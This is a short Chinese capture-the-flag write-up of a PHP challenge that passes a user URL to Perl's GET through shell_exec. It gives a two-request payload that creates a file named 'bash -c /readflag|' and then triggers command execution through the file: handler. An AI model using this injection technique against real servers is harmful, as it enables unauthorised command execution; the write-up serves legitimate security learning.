这题没啥好说的,简简单单一个命令执行漏洞
10.244.80.46<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
出问题的语句就一句
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
他会把url里面的东西当成命令来执行,他调用的是perl解析器来进行的解析执行,所以究其本质,是perl的问题 小test: (这是get的正常用法和perl的命令执行没关系)
?url=/&filename=123
相当于执行了GET /,读取了/目录下的所有文件,输出到沙盒目录下的123,没有会自动在当前目录下创建一个 算沙盒目录:orange10.244.80.46的md5值230317844a87b41e353b096d0d6a5145 目录sandbox/230317844a87b41e353b096d0d6a5145 执行payload访问sandbox/230317844a87b41e353b096d0d6a5145/123,成功输出 我们要的是命令执行,因此需要构造bash -c之类的文件名 先给payload再分析 ?url=file:bash -c /readflag|&filename=bash -c /readflag| ?url=file:bash -c /readflag|&filename=456 解释一下为什么是两段,因为这个漏洞的前提之一是你file后面的文件名必须是真实存在的,所以第一个payload的作用是生成一个文件名为 bash -c /readflag|的文件,触发他的是@file_put_contents(basename($info["basename"]), $data); 至于为什么有个管道符,这跟这个漏洞的原理有点关系,当第二次执行 $data = shell_exec("GET " . escapeshellarg($_GET["url"])); 的时候由于检测到了bash -c /readflag|同名文件,于是调用了file.pm里面的方法 但是里面的代码会有一个>而这个管道符|是为了闭合这个>的,所以你搜payload的test的时候,文件名都会在最前或者最后加一个管道符来闭合这个> 于是成功执行了bash -c /readflag命令,并将结果输出到了456文件中 同理查找拿到flag 参考视频链接:https://www.bilibili.com/video/BV1AS4y1D75Y/
|